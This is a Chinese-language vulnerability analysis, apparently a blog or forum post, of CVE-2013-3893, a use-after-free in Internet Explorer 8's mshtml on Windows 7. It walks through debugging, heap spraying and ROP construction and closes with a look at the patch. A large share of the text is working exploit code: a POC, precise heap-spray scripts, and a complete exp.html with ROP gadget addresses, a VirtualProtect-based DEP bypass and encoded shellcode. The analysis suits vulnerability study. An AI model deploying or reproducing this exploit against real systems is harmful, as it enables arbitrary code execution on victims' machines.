调试环境:
Windows 7 SP1
IE8
漏洞编号:CVE-2013-3893
摘要:
该漏洞是的原理是,IE下的mshtml动态连接库将TreeNode对象从Dom树释放后,又重新调用对象的任意代码执行。该漏洞覆盖的IE版本从IE6到IE11,是一个典型的浏览器UAF漏洞,最后使用精准堆喷射完成利用。
因为本文作者调试实例漏洞的功底有限,所以会漏洞如何发现以及利用部分,漏洞的原理和挖掘的讲解可能达不到高水平读者的要求。文章比较长,希望感兴趣的读者能耐心读下去。
1.1漏洞分析
可以通过msf/exploit-db获取这个漏洞的POC,我们对其进行一些修改,方便我们的分析。
调试的poc代码如下
POC.html
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
document.write("");
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
1.1.1 基于POC的流程分析
首先要清楚POC的运行流程,通过createElement创建两个对象father和child
接着为两个对象分别创建两个结点。效果如图所示,<body>标签下创建了<father>和<child>标签。同时也会创建一个TreeNode对象。
将child作为father的子结点
father[‘outerText’]=””将元素本身赋值为空对象,这句会导致DOM树中所有father的子孙结点都被析构(fahter、child)也就是说TreeNode会从DOM上脱离。
father.setCapture();child.setCapture();father鼠标指针聚焦,child鼠标指针聚焦,导致father失焦,会触发father.onlosecapture=function()
document.write(“”);
漏洞触发的位置
在调用document.write(“”);时候,释放了TreeNode对象,但是在程序之后运行的函数中,使用了这个被释放的对象,导致了释放后重用漏洞。
POC调试
程序断点在了CTreeNode::GetInterface函数,call ecx指向的地址。
使用kv可以追踪函数的流程。按照这样的回溯也是可以分析漏洞的。不过为了更精确地找到造成中断的根源,我们开启页堆(page heap),这样程序在遇到堆结构被破坏时会更即使地断下。
使用Windbg的Global Flags工具开启page heap(页堆),选择Enable page heap选项。
不建议开启左下角的Enable heap tagging,会导致后面调试经常出问题。
再次运行POC,程序断点在了HasContainerCapture+0x14的位置。根据栈回溯,可以发现比之前的断点位置更靠前了一些。
使用kv查看栈回溯,使用ub查看具体触发的代码。
我们再次查看HasContainerCapture+0x14的位置,发现他实际调用了一个已经被释放到对象TreeNode,从而造成了释放后重用(UAF)漏洞。
继续向下看,我们分析此时造成崩溃的EDI参数,!heap -p -a edi查看edi所在堆的状态。
可以看到EDI所指向的堆已经在!CTreeNode::Release被释放了。
重新调试一遍,查看TreeNode对象(地址和上一次调试不同)在被释放前的空间为0x4c,所以只需要在被释放之后,用js立即分配一块相同大小的堆就能进行占位。
虽然知道POC触发了UAF漏洞,但是我们对这个漏洞的具体细节还一无所知,更不用提利用了。所以我们要从程序流程的角度来分析一下漏洞触发的原因。
接下来关闭页堆,进一步调试整个POC的触发的程序流程,以及UAF是如何造成影响的。
修改一下poc(增加了一段js,创建了一个div对象,具体原因下文会说明),继续调试。
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
document.write("");
Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";
}
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
首先对几个关键部分下断点,在POC中写入一些三角函数,例如tan、sin、cos这几个JS的函数主要是帮助我们判断程序运行到哪个位置,因为在程序汇总我们下断点到函数会反复地运行,可能会多次断下,但是不一定是我们需要到断点。(比如调试时候,tan还没断下来,CElement就断了好几次,这个断点就需要我们跳过)
下面是我下的断点,仅供参考。(到后期调试最后两个断点可以去掉)
0:016> bl
0 e 6d86d898 0001 (0001) 0:**** jscript!tan
2 e 6d86d6e9 0001 (0001) 0:**** jscript!sin
3 e 6d86d657 0001 (0001) 0:**** jscript!cos
4 e 6ba49fd3 0001 (0001) 0:**** mshtml!CElement::CElement
5 e 6b9caed1 0001 (0001) 0:**** mshtml!CMarkup::InsertElementInternal
6 e 6b9e5acf 0001 (0001) 0:**** mshtml!CElement::appendChild
首先断点在了tan,三角函数断点并不是必须的,但是在调试IE这样程序流复杂的对象时,可以帮助我们判断程序运行的位置。
第一个CElement::CElement断点,当然直接给createElement下断点也是可以的,但是要获取这个对象的指针,需要运行CElement+0x18的位置。此时EDI存放的便是Element对象的指针。
即var father=document.createElement(“father”);中的father
为什么我们能判断此时的EDI是Element的对象指针呢,其实分析0x6ba49feb地址的这句语句,将C++的虚函数表地址放入了[EDI]的位置,这不就是C++ 初始化对象的行为嘛。对象的头部就是虚函数表。
第二个断点,也是同理,var child=document.createElement(“child”);中的child对象指针为2eebd88.
中途再次断在tan,g继续运行
创建子结点father
document.body.appendChild(father);
创建了一个TreeNode对象,指针默认通过EAX值返回。
同理第二个子结点,也可以获取它的指针(child)
运行结束之后,可以看一下目前的内存结构,发现已经形成了一个类似链表的结构。
查看内存空间,下图中从上到下分别是
Element对象father
子节点<father>
Element对象child
Element对象child
结构图为
Element对象father(2eec048) Element对象child(2eebd88)
| |
V V
子节点<father>(2ee8ac0) 子节点<child>(2ee8388)
^ ^
| |
------------------------------------
|
CBody_TreeNode(02f123a8)
而TreeNode则为我们这次释放后重用漏洞的利用对象,通过链表关系我们其实可以知道,调试过程中只需要获取fahter对象的指针,就能通过链表关系获取到TreeNode指针,下一次调试就会节省很多时间。
接下来程序断点在了sin函数,继续g运行,child.applyElement(father),直到运行到cos函数。
此时查看内存,能发现<child>变成了<father>的子结点。
结构图为
Element对象father(2eec048) Element对象child(2eebd88)
| |
V V
子节点<father>(2ee8ac0) <-- 子节点<child>(2ee8388)
^
|
-------------
|
CBody_TreeNode(02f123a8)
之后执行father[‘outerText’]=””会发现father以及他的子节点都被清空了。TreeNode也不在Dom树上了,但是这块内存指针依然存在。
使用!heap -p -a 02f123a8,发现这块内存依旧busy,size为4c
0:005> !heap -p -a 02f123a8
address 02f123a8 found in
_HEAP @ 200000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f123a8 0004c - (busy)
执行father.setCapture();child.setCapture();会触发father.onlosecapture函数
进而执行的document.write(“”)会将TreeNode释放
!heap -p -a 02f123a8,发现内存已经被free了
0:005> !heap -p -a 02f123a8
address 05118558 found in
_HEAP @ 200000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f12398 00060 - (free)
这里就需要划重点了,这个内存被释放了,而之后这个内存的指针依然存在,甚至还被程序调用了。这明显是一个UAF漏洞,这时我们要利用之前讲的占坑技术,申请一段和之前差不多大小的内存,就能成功控制这块内存。
于是此时我们可以使用Js申请多个与被释放对象相同大小的内存块,对其进行占位。(申请多个是为了保证Exp稳定性)
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";
}
使用javascript申请大量80字节左右的空间(78个0x0c+2个<div>)
tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c
查看TreeNode内存空间,发现占位成功。
0:005> !heap -p -a 02f123a8
address 02f123a8 found in
_HEAP @ 220000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02f12390 000d 0000 [00] 02f123a8 0004e - (busy)
0:005> dc 02f123a8
02f123a8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123b8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123c8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
02f123d8 22221111 44443333 22221111 44443333 ..""33DD..""33DD
注意:建议覆写部分不要使用0c0c0c0c作为数据,因为后期使用精确堆喷射的时候,我们会修改0c0c0c0c地址的值,这样覆盖虚表地址为0c0c0c0c,而0c0c0c0c地址存放的并不是0c0c0c0c而是我们shellcode的开头。
继续运行,程序断在了GetInterface+0xac的位置,eax已经被赋值为了0x0c0c0c0c,说明这里调用了我们被释放的对象TreeNode。也就是我们占位成功,并且赋值给EAX。
不过这里还不是我们控制EIP的漏洞代码,因为这里[eax]不存在值所以程序就断下来了(EAX此时指向的应该是TreeNode虚函数表指针)。
接下来我们使用堆喷射将这段内存填充满值(0c0c0c0c)。
我们增加一个HeapSpray函数,准备好堆喷射,具体堆喷射细节可以参考前辈给出的利用总结(下图)。此时再次运行我们的程序。
exp.html
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
Heapspray();
document.write("");
//Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u3333u4444u1111u2222u2222u3333u4444u1111";//替代c
}
Math.sin(1,2);
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
function Heapspray()
{
var i=0;
shellcode="u1234u3456u7890u1234u3456u7890";
block="u0c0cu0c0c"
while(block.length<0x100000)
block+=block;
block=block.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
block+=shellcode;
var memory=new Array();
for(i=0;i<600;i++)
memory[i]=block.substring(0,block.length);
}
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
程序跳转到了0x0c0c0c0c,通过栈回溯,很明显是在GetInterface函数中调用call [ecx],读取了TreeNode对象中的内容,完成了一次堆EIP的控制。
注:ECX的值来源
向前阅读,发现上一次运行的断点就在向上5行(详细情况读者可以看本文的上一小节),根据上文的分析mov ecx,[eax]此时的EAX的值是从被我们覆盖的TreeNode中读取的(已经被我们覆盖为了0c0c0c0c)。从EAX指向的地址读取字符给ECX,而堆空间中已经被堆满了0c0c0c0c,因此导致ECX也被赋值为了0c0c0c0c地址存放的数据(也是0c0c0c0c)。然后call [ecx]就发生了。
需要注意的是,在后期利用占位使用的字符尽量不要使用0c0c0c0c,因为这个空间会被我们安排ROP链,会导致[EAX]不能给ECX赋正确的值。(0c0c0c0c)
通过利用这个UAF漏洞,我们最后成功控制了程序流。
1.1.2 漏洞利用泛谈
UAF的部分到这里已经结束了。用大佬的说的一句话,就是漏洞和程序编写者有关,与系统无关。UAF漏洞是mshtml的一个内存漏洞,由漏洞能控制程序流。只要没有补丁,IE8在WinXP或者WIN10下,这个漏洞都是存在的。
区别在于利用难度,WIN XP SP1没有DEP,所以堆喷射一下就解决了。WIN 10开启了很复杂的保护,每周还有更新,利用难度非常高。
谈这点是的主要目的是什么呢,主要就是想表达自己最近领悟的一个观点。漏洞是客观存在的,与我们在什么系统下执行无关。能够利用,可能就要考验利用者的手法了。所以希望读者能明白,如果希望实现你UAF,那么原理和案例看到这里就够了。
并不是说利用手法不重要,而是希望自己能够对漏洞概念有一个更深刻的领会。
下文将尝试在WIN7下的对这个漏洞进行利用,使用ROP和精确堆喷射绕过DEP防护。
WIN7下的利用分析
使用mona插件,可以非常明显发现IE开启了DEP(IE本身没有开,但是mshtml开了),导致堆内的空间也不可执行。如果是XP环境,shellcode会被直接执行,但是在这里就需要使用ROP来绕过DEP。ASLR因为需要重启才会导致基础地址发生变化,所以我们本地测试暂时不做讨论。
绕过DEP的一般操作就是使用VirtualProtect关闭DEP,可以使用x kernel32!Virtual*查找这个函数的位置。如果ASLR的影响算在内,函数地址也不是稳定的。(kernel32的地址也会变化)
在正式开始利用前,我们先做一个小实验:
在HeapSpray执行之后,查看0c0c0c0c的内存空间,发现已经被覆盖。
使用
ed <address> data
我们将0c0c0c0c地址的数据修改成了VirtualProtect的地址。
成功跳转进入了函数。
1.1.3精确堆喷射
目前需要解决的问题有二
一是我们的数据包括shellcode和ROP链是存放在堆中的,熟悉ROP的读者应该明白只有在栈中(或者伪造的栈)才能正常执行程序链。
二是程序开启了DEP,堆不可执行,除非ROP链的头部正好对准0c0c0c0c(或者我们制定的其他跳转地址),才能正常执行ROP,一个字节也不能差。但是堆喷射是一种不稳定的技术,ROP链的地址在堆中位置是不确定。
解决方案:
因为我们将ROP布置在堆中,不能像栈一样方便直接执行。这里可使用栈翻转技术解决,将ESP指向我们堆中的ROP,就和在栈中没有区别了。前文我们已经尝试了在0c0c0c0c的位置布置了一个指向VirtualProtect函数的指针,并且成功跳转了,目前只需要布置好ROP就行。
那就第二个问题,如何在将ROP链的头精确的放在0c0c0c0c的位置。具体细节可以阅读下面这两篇文章。关键字:精确堆喷射。通过这个技术我们能将ROP精准地对准0c0c0c0c。
HeapSpray.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
var nop="u0c0cu0c0c";
while(nop.length<0x100000)
nop+=nop;
nop=nop.substring(0,(0x80000-6)/2-sc.length);
code=sc+nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
查看0c0c0c0c的内存发现成功覆盖,但是我们需要到是能精准对将ROP链/Shellcode的头部对准0c0c0c0c的位置。
查看0c0c0c0c堆块的堆头为0c0a0018。一个堆块对应我们使用JS分配的8MB的heap_chunk。
而UserPtr也就数据存放的开头为0c0a0030(一般来说是0c010020但是我调试时开了Enable heap tagging),查看这个区域我们输入数据头部就是从UserPtr+8的位置开始的。
可以看出堆空间的起始地址的最后四位都变成了0018,UserPtr的最后四位则为0030.
这是在大量分配内存之后会产生的现象。
虽然每次分配的值地址不一定完全相同,比如第一次0c0c0c0c所在用户堆起始地址为0c0a0030,偏移为0x20bdc,而第二次则为0c0b0030,偏移为0x10bdc。
但是变化范围都是以0x10000为基数的,只需要在heap_chunk中以0x10000为单位配置好shellcode+nops的格式。最后heap_chunk整体加上偏移地址0xbdc,无论地址怎么变化,都能顺利让0c0c0c0c指向函数shellocode的起始地址。
修改HeapSpray,成功利用heap-feng-shui技术将0c0c0c0c的位置精确定为我们shellcode的起始地址。代码如下。
可以看到我们内存中每隔0x1000都会存在一个shellcode+nop的结构。这样能让0c0c0c0c具有某种程度上的稳定。
HeapSpray.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000为单位的shellcode+nop结构单元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块(heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
</script>
</body>
</html>
将这段代码替换poc中的heapspray函数,运行poc发现,程序成功跳转到41414141的位置。(因为0c0c0c0c地址已经被AAAA覆盖)
接下来只需要构造ROP链,使用VirtualProtect函数将0c0c0c0c开始的内存设置为可执行即可。大概参数可以
BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);
可以使用mona插件快速寻找gadgets
!py mona findwild -s "mov esp,eax#*#retn"
0x760f0b51 | 0x760f0b51 (b+0x002b0b51) : mov esp,eax # dec ecx # retn
0x760e0ae2 | 0x760e0ae2 (b+0x002a0ae2) : mov esp,ecx # dec ecx # retn 4
1.1.4构造ROP链
翻转栈帧到堆空间
因为发生UAF之后,ESP指向的是当前的栈空间,而我们的rop链是放在heap里的。所以需要使用栈翻转,将esp指向我们堆中的rop链。这个部分也是非常有意思的。
步骤(0)首先eax是我们可控的参数(通过占位TreeNode),ecx的值来源为[eax],所以eax的值不能直接指向我们的rop链,因为这样ecx会读取不到正确的值,call [ecx]也就不能跳转。
步骤(1)ROP链头部必须执行栈翻转操作,否则rop链将无法成功执行。
看大佬的案例是寻找xchg指令,对esp进行赋值。但是我并没有找到很合适的gadget。
!py mona find -s "x94xc3" 或者!py mona.py findwild -s "xchg esp,eax#*#retn"
0x736c32fa | 0x736c32fa (b+0x000132fa) : x94xc3
不过上穷水尽疑无路,柳暗花明又一村。我们找到了一组包含pop esp的gadget,可以修改esp为0c0c0c0c
!py mona.py findwild -s "push ecx#*#pop esp#*#retn"
0x75b48d9e | 0x75b48d9e (b+0x00398d9e) : push ecx # pop esp # pop ebp # retn 4
步骤(2)上一个步骤执行到ret命令时,esp=0c0c0c10,所以在0c0c0c10起始埋下我们到ROP链接就行。
步骤(3)ROP设置shellcode内存可执行之后,跳转到shellcode运行即可。
ROP流程图
Heap
(0) Reg eip->0c0c0c0c ecx=0c0c0c0c eax=0c0c0c04 esp=>stack
(1)=>0c0c0c0c push ecx#pop esp#..#ret 4 => esp=0c0c0c0c+4=>heap
(2)=>0c0c0c10 ret =>esp=0c0c0c10+4+4(因为ret4)
0c0c0c14 0c0c0c0c (跳过4字节)
(3)=>0c0c0c18 VirtualProtect_addr =>esp=0c0c0c10->0c0c0c18(因为ret4)
... 0c0c0c1c shellcode_addr ->0c0c0c30
0c0c0c20 0c0c0c00 [arg4]
0c0c0c24 0x1000 [arg3]
0c0c0c28 0x40 [arg2]
0c0c0c2c 0c0c0c0c[arg1]
(3) 0c0c0c30 shellcode
编写出EXP利用脚本
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
Hello World!
<script type="text/javascript">
function trigger()
{
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
child.applyElement(father);
father.onlosecapture=function() {
Heapspray();
document.write("");
//Math.cos(1,2);
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
//tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";//39x2字节
tt[i].className = "u0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04";
//将eax赋值为0c0c0c00
}
Math.sin(1,2);
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
function Heapspray()
{
//var rop_gadget="u0ae2u760e"; //760e0ae2 #mov esp,eax #dec ecx#retn
var rop_gadget="u8d9eu75b4" //0x75b48d9e push ecx # pop esp #pop ebp
+"u1480u7690" //0x76901480 ret
+"u0c0cu0c0c" //4 size
+"u20d8u7690" //VirtualProtect 0x769020d8
+"u0c30u0c0c"// shellcode_addr
+"u0c00u0c0c"//arg4
+"u1000u0000"//arg3
+"u0040u0000"//arg2
+"u0c0cu0c0c";//arg1
var shellcode="uc931u8b64u3041u408bu8b0cu1470u96adu8badu1058u538Bu013cu8bdau7852uda01u728bu0120u31deu41c9u01adu81d8u4738u7465u7550u81f4u0478u6f72u4163ueb75u7881u6408u7264u7565u8be2u2472ude01u8b66u4e0cu8b49u1c72ude01u148bu018eu31dau53c9u5152u6168u7972u6841u694cu7262u4c68u616fu5464uff53u83d2u0cc4u5059uc031ub866u6c6cu6850u3233u642eu7568u6573u5472u54ffu1024uc483u500cuc031u6fb8u4178u5023u6c83u0324u6823u6761u4265u4d68u7365u5473u74ffu1024u54ffu1c24uc483u500cuc031ub866u4646u5450uc031u41b8u4141u5023u6c83u0324u5423uc031uff50u2474uff04u2474u3110u50c0u54ffu2024uc483u0010";
var shellcode_old="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";
var sc="u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c"+rop_gadget+shellcode;
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块(heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
}
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
EXP执行流分析
直接进入一个gadget,执行栈翻转,esp被翻转到0c0c0c0c然后因为栈操作被继续提高到0c0c0c10,然后ret4跳转。
跳转前esp指向0c0c0c10,因为ret 4跳转之后esp变为了0c0c0c18而不是0c0c0c10
在0c0c0c18埋下VirtualProtect的地址,成功进入程序流。
VirtualProtect其实只是VirtualProtectEX的一个外壳,在函数内部,将参数分别入栈再调用VirtualProtectEX。查看我们入栈的数据是否正确,发现EX函数比原函数多了一个参数。
执行之后eax返回1,说明执行成功,shellcode所在地址已经能够执行。
进入shellcode执行,成功弹窗。
1.1.5漏洞原因和补丁分析
我们使用IDA逆向分析关键函数SetMouseCapture。
IDA 生成的伪代码
void __userpurge CDoc::SetMouseCapture(int a1@<eax>, CDoc *a2@<ecx>, CDoc *lpMem, int a4, void *a5, int a6, int a7, int a8)
{
CDoc *v8; // ebx@1
int v9; // edi@1
int v10; // eax@6
int v11; // ecx@7
void *v12; // eax@11
CImplPtrAry *v13; // ecx@15
struct CElementCapture *v14; // esi@15
int v15; // ecx@17
int v16; // eax@18
CMessage *v17; // ST14_4@22
CMessage *v18; // ecx@22
CElementCapture *v19; // ecx@23
CImplPtrAry *v20; // ST14_4@24
CServer *v21; // ecx@27
void *v22; // [sp+0h] [bp-A8h]@0
char v23; // [sp+10h] [bp-98h]@17
int v24; // [sp+14h] [bp-94h]@17
int v25; // [sp+A4h] [bp-4h]@6
void *lpMema; // [sp+B0h] [bp+8h]@12
v8 = lpMem;
v9 = a1;
if ( *((_DWORD *)lpMem + 469) & 0x1000 ) //没有对TreeNode对象是否在Dom做检查
v9 = 0;
if ( v9 )
{
v25 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
v10 = v25;
if ( v25 < 0 )
goto LABEL_31;
v11 = *((_DWORD *)lpMem + 67) + 4 * v25;
do
{
if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == v9 )
break;
--v10;
v11 -= 4;
}
while ( v10 >= 0 );
if ( v10 < 0 )
{
LABEL_31:
v12 = ATL_malloc(0x10u);
lpMema = (void *)(v12 ? CElementCapture::CElementCapture(v12, a7, a8, a4, a5) : 0);
if ( lpMema )
{
v14 = CDoc::GetLastCapture(v8);
if ( v14 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20)) )
{
CMessage::CMessage(&v23, 0);
v24 = 533;
CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0, 0);
if ( v14 == CDoc::GetLastCapture(v8) )
{
v16 = *((_DWORD *)v14 + 3);
if ( !(v16 & 2) )
{
v15 = *((_DWORD *)v14 + 2);
if ( !(*(_DWORD *)(v15 + 28) & 0x8000000) )
{
*((_DWORD *)v14 + 3) = v16 | 2;
*((_DWORD *)v8 + 469) |= 0x1000u;
CElement::FireEvent(
*((CElement **)v14 + 2),
(const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture,
1,
0,
-1,
0,
0);
*((_DWORD *)v8 + 469) &= 0xFFFFEFFF;
}
}
}
if ( *((_DWORD *)v8 + 65) & 0xFFFFFFFC )
{
if ( v14 == CDoc::GetLastCapture(v8) )
{
CElementCapture::~CElementCapture(v19);
CBlockElement::operator delete((void *)v14);
CImplPtrAry::Delete(v20, (int)v22);
}
CImplPtrAry::Append(v19, v22);
}
else
{
CElementCapture::~CElementCapture((CElementCapture *)v15);
CBlockElement::operator delete(lpMema);
v18 = v17;
}
CMessage::~CMessage(v18);
}
else
{
CImplPtrAry::Append(v13, v22);
if ( !v14 )
CServer::SetCapture(v21, 1);
}
}
}
}
else
{
CDoc::ClearMouseCapture(a2, lpMem);
}
}
对比微软的补丁可以知道,微软在进入LABEL_31:段前增加了判断,TreeNode是否在Dom树上,如果TreeNode不在Dom树上就不会进入LABEL_31的,也就不会触发漏洞。
经过之前的动态分析,可以知道进入LABEL_31之后会进入PumpMessage->NodeAddRef->GetInterface,最后导致UAF触发任意代码执行。
参考文献
[1].Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3[DB/OL].
[2]Payload_82.(https://www.52pojie.cn/home.php?mod=space&uid=817719).暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告[DB/OL].https://www.52pojie.cn/thread-730324-1-1.html,2018-4-24
[3]0x9A82.IE浏览器漏洞综合利用技术:堆喷射技术[DB/OL].https://bbs.pediy.com/thread-223106.htm,2017-12-4
[4]Geek青松.(https://me.csdn.net/u010142102).CVE-2013-3893 IE浏览器UAF漏洞分析[DB/OL]。https://blog.csdn.net/u010142102/article/details/89207164,2019-04-11
[5]luobobo.CVE-2013-3893 详细分析[DB/OL].https://bbs.pediy.com/thread-226879.htm,2018-5-19